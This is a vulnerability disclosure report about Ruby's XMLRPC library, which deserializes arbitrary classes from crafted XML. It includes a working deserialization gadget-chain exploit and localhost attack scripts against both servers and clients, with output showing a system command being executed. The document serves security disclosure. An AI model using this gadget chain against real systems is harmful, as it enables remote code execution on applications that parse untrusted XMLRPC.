XMLRPC does not limit deserializable classes.
High
R
Ruby
Submitted None
Actions:
Reported by
ooooooo_q
Vulnerability Details
Technical details and impact analysis
I confirmed that the classes that can be generated by parsing the xml sent in the request or response by XMLRPC bundled in ruby are not restricted.
https://github.com/ruby/xmlrpc/blob/v0.3.2/lib/xmlrpc/create.rb#L251
```ruby
if Config::ENABLE_MARSHALLING and param.class.included_modules.include? XMLRPC::Marshallable
# convert Ruby object into Hash
ret = {"___class___" => param.class.name}
param.instance_variables.each {|v|
```
When converting parameters to XML, limited to those that include `XMLRPC::Marshallable`.
https://github.com/ruby/xmlrpc/blob/v0.3.2/lib/xmlrpc/parser.rb#L104
```ruby
# Converts the given +hash+ to a marshalled object.
#
# Returns the given +hash+ if an exception occurs.
def self.struct(hash)
# convert to marshalled object
klass = hash["___class___"]
if klass.nil? or Config::ENABLE_MARSHALLING == false
hash
else
begin
mod = Module
klass.split("::").each {|const| mod = mod.const_get(const.strip)}
obj = mod.allocate
hash.delete "___class___"
hash.each {|key, value|
obj.instance_variable_set("@#{ key }", value) if key =~ /^([a-zA-Z_]\w*)$/
}
obj
rescue
hash
end
end
end
```
However, there are no class restrictions when parsing.
https://github.com/ruby/xmlrpc/blob/v0.3.2/lib/xmlrpc/config.rb#L27
```ruby
# enable marshalling Ruby objects which include XMLRPC::Marshallable
ENABLE_MARSHALLING = true
```
`Config::ENABLE_MARSHALLING` is true by default so there is no limit to the classes that can be restored.
---
## PoC
### Prepare
create `build_xml.rb`
```ruby
require "xmlrpc/marshal"
# Universal Deserialisation Gadget for Ruby 2.x-3.x
# https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# Because the classes that can be dumped are limited
class Array
def include?(_)
true
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "date")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
creater = XMLRPC::Create.new
call_xml = creater.methodCall("for_call", r)
File.write('attack_call.xml', call_xml)
response_xml = creater.methodResponse("for_response", r)
File.write('attack_response.xml', response_xml)
```
```
$ cat Gemfile
# frozen_string_literal: true
source "https://rubygems.org"
gem 'xmlrpc', '~> 0.3.2'
gem 'webrick', '~> 1.7'
gem 'rack', '~> 2.2', '>= 2.2.3'
$ bundle install
...
$ bundle exec ruby build_xml.rb
# create attack_call.xml and attack_response.xml
```
### PoC for server attack
```ruby
# craft_client.rb
require "xmlrpc/client"
server = XMLRPC::Client.new("localhost", "/RPC2", 8080)
craft = File.read("./attack_call.xml")
ok, param = server.send(:do_rpc, craft)
if ok then
puts "param: #{param}"
else
puts "Error:"
puts param.faultCode
puts param.faultString
end
```
```ruby
# xmlrpc_server.rb
require "webrick"
require "xmlrpc/server"
# required classes
require 'net/http'
Gem::Installer
s = XMLRPC::WEBrickServlet.new
s.add_handler("for_call") do |param|
param.to_s
end
httpserver = WEBrick::HTTPServer.new(:Port => 8080)
httpserver.mount("/RPC2", s)
trap(:INT){httpserver.shutdown}
httpserver.start
```
```
❯ bundle exec ruby craft_client.rb
param:
```
```
❯ bundle exec ruby xmlrpc_server.rb
[2021-05-09 20:49:35] INFO WEBrick 1.7.0
[2021-05-09 20:49:35] INFO ruby 2.7.1 (2020-03-31) [x86_64-darwin19]
[2021-05-09 20:49:35] INFO WEBrick::HTTPServer#start: pid=48443 port=8080
sh: reading: command not found
2021年 5月 9日 日曜日 20時49分44秒 JST
::1 - - [09/May/2021:20:49:44 JST] "POST /RPC2 HTTP/1.1" 200 319
- -> /RPC2
```
### PoC for client attack
```ruby
# xmlrpc_client.rb
require "xmlrpc/client"
# required classes
Gem::Installer
server = XMLRPC::Client.new("localhost", "/RPC", 8080)
ok, param = server.call2("xxx", 4, 5)
if ok then
puts "param: #{param}" # call param.to_s
else
puts "Error:"
puts param.faultCode
puts param.faultString
end
```
```ruby
# craft_server.rb
require "webrick"
httpserver = WEBrick::HTTPServer.new(:Port => 8080)
httpserver.mount_proc('/RPC') do |req, res|
res.body = File.read("./attack_response.xml")
end
trap(:INT){httpserver.shutdown}
httpserver.start
```
```
❯ bundle exec ruby xmlrpc_client.rb
sh: reading: command not found
2021年 5月 9日 日曜日 20時50分48秒 JST
Traceback (most recent call last):
...
```
```
❯ bundle exec ruby craft_server.rb
[2021-05-09 20:50:34] INFO WEBrick 1.7.0
[2021-05-09 20:50:34] INFO ruby 2.7.1 (2020-03-31) [x86_64-darwin19]
[2021-05-09 20:50:34] INFO WEBrick::HTTPServer#start: pid=48570 port=8080
::1 - - [09/May/2021:20:50:48 JST] "POST /RPC HTTP/1.1" 200 1679
- -> /RPC
```
## Impact
Unintentional classes are created by crafted XML on both the server and client.
Whether RCE is possible depends on the implementation of the application.
In order for the gadget chain for Marshal.load to work, need to find that the class is loaded and where methods such as `to_s` are called.
Report Details
Additional information and metadata
State
Closed
Substate
Informative
Submitted
Weakness
Deserialization of Untrusted Data